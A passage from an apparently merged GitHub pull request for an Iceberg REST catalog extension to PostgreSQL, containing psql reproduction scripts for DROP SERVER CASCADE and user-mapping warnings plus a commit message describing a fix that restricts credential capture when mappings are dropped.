    OPTIONS (rest_endpoint :'ENDPOINT');
CREATE USER MAPPING FOR PUBLIC SERVER cascade_c
    OPTIONS (client_id :'CID', client_secret :'CSECRET');
CREATE TABLE cascade_c_t1 (a int) USING iceberg WITH (catalog = 'cascade_c');
INSERT INTO cascade_c_t1 VALUES (1), (2), (3);

BEGIN;
  DROP USER MAPPING FOR PUBLIC SERVER cascade_c;
  DROP TABLE cascade_c_t1;
COMMIT;

DROP SERVER cascade_c CASCADE;

-- ============================================================================
-- Verify nothing leaked through.
-- ============================================================================
DO $verify$
BEGIN
  IF EXISTS (SELECT FROM pg_foreign_server
             WHERE srvname IN ('cascade_a', 'cascade_b', 'cascade_c')) THEN
    RAISE EXCEPTION 'CASCADE test FAILED: leftover server(s) remain';
  END IF;
  IF EXISTS (SELECT FROM pg_class WHERE relname LIKE 'cascade_%_t%') THEN
    RAISE EXCEPTION 'CASCADE test FAILED: leftover table(s) remain';
  END IF;
END
$verify$;

\echo '########## ITERATION OK ##########'
pr-255-warning-repro.sql
\set ENDPOINT '<your-polaris-endpoint>'
\set CID '<your-client-id>'
\set CSECRET '<your-client-secret>'

\set ON_ERROR_STOP off
DROP SERVER IF EXISTS w_a CASCADE;
DROP SERVER IF EXISTS w_b CASCADE;
DROP SERVER IF EXISTS w_c CASCADE;
\set ON_ERROR_STOP on

\echo ''
\echo '===== CASE 1: plain DROP SERVER CASCADE, natural order (1 table) ====='
CREATE SERVER w_a TYPE 'rest' FOREIGN DATA WRAPPER iceberg_catalog OPTIONS (rest_endpoint :'ENDPOINT');
CREATE USER MAPPING FOR PUBLIC SERVER w_a OPTIONS (client_id :'CID', client_secret :'CSECRET');
CREATE TABLE w_a_t1 (a int) USING iceberg WITH (catalog = 'w_a');
INSERT INTO w_a_t1 VALUES (1);
\echo '--- DROP SERVER w_a CASCADE  (expect: clean) ---'
DROP SERVER w_a CASCADE;

\echo ''
\echo '===== CASE 2: same-txn DROP USER MAPPING then DROP TABLE (1 table) ====='
CREATE SERVER w_b TYPE 'rest' FOREIGN DATA WRAPPER iceberg_catalog OPTIONS (rest_endpoint :'ENDPOINT');
CREATE USER MAPPING FOR PUBLIC SERVER w_b OPTIONS (client_id :'CID', client_secret :'CSECRET');
CREATE TABLE w_b_t1 (a int) USING iceberg WITH (catalog = 'w_b');
INSERT INTO w_b_t1 VALUES (1);
\echo '--- BEGIN; DROP USER MAPPING; DROP TABLE; COMMIT  (expect: WARNING) ---'
BEGIN;
  DROP USER MAPPING FOR PUBLIC SERVER w_b;
  DROP TABLE w_b_t1;
COMMIT;
DROP SERVER w_b CASCADE;

\echo ''
\echo '===== CASE 3: plain DROP SERVER CASCADE, mapping rotated after table (1 table) ====='
CREATE SERVER w_c TYPE 'rest' FOREIGN DATA WRAPPER iceberg_catalog OPTIONS (rest_endpoint :'ENDPOINT');
CREATE USER MAPPING FOR PUBLIC SERVER w_c OPTIONS (client_id :'CID', client_secret :'CSECRET');
CREATE TABLE w_c_t1 (a int) USING iceberg WITH (catalog = 'w_c');
INSERT INTO w_c_t1 VALUES (1);
-- recreate the mapping AFTER the table (a routine credential rotation),
-- so the mapping now has a higher OID than the table.
DROP USER MAPPING FOR PUBLIC SERVER w_c;
CREATE USER MAPPING FOR PUBLIC SERVER w_c OPTIONS (client_id :'CID', client_secret :'CSECRET');
\echo '--- DROP SERVER w_c CASCADE  (expect: WARNING) ---'
DROP SERVER w_c CASCADE;

\echo ''
\echo '===== done ====='

…P TABLE warning

Two follow-ups from review.

1) OAT_DROP capture hook: a server owner is allowed by Postgres to
   DROP any role's USER MAPPING on the server.  The previous capture
   path snapshotted the dropped mapping's credentials unconditionally,
   which let the dropping session authenticate same-transaction REST
   requests as the mapping's owner.  Restrict capture to the current
   session's own mapping or PUBLIC; for other mappings the hook is a
   no-op, so the live resolver picks up the dropping session's own
   credentials (or fails clearly).  A new pytest sets up a server
   owner role and a victim role with deliberately-invalid credentials
   and asserts that the post-commit REST POST does not run under the
   foreign mapping.

2) MarkAllReferencedFilesForDeletion warning wording: when a USER
   MAPPING is dropped in the same transaction as a DROP TABLE on a
   REST iceberg table, the synchronous metadata read goes through the
   live resolver and surfaces the generic resolver error whose HINT
   asks the user to create a USER MAPPING -- misleading mid-drop, and
   the post-commit REST DELETE still succeeds via the captured
   snapshot.  Replace this one specific case with a concise WARNING;
   the legacy WARNING-with-original-text path is preserved for every
   other FDW_OPTION_NAME_NOT_FOUND site (e.g. rest_endpoint not
   configured) by gating on both the errcode and the message prefix.

Co-authored-by: Cursor <cursoragent@cursor.com>
Signed-off-by: sfc-gh-npuka <naisila.puka@snowflake.com>
@sfc-gh-npuka sfc-gh-npuka merged commit c7b9804 into main Jun 22, 2026
64 checks passed
@sfc-gh-npuka sfc-gh-npuka deleted the naisila/catalog_user_mapping branch June 22, 2026 15:23
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

New Catalog Configuration

4 participants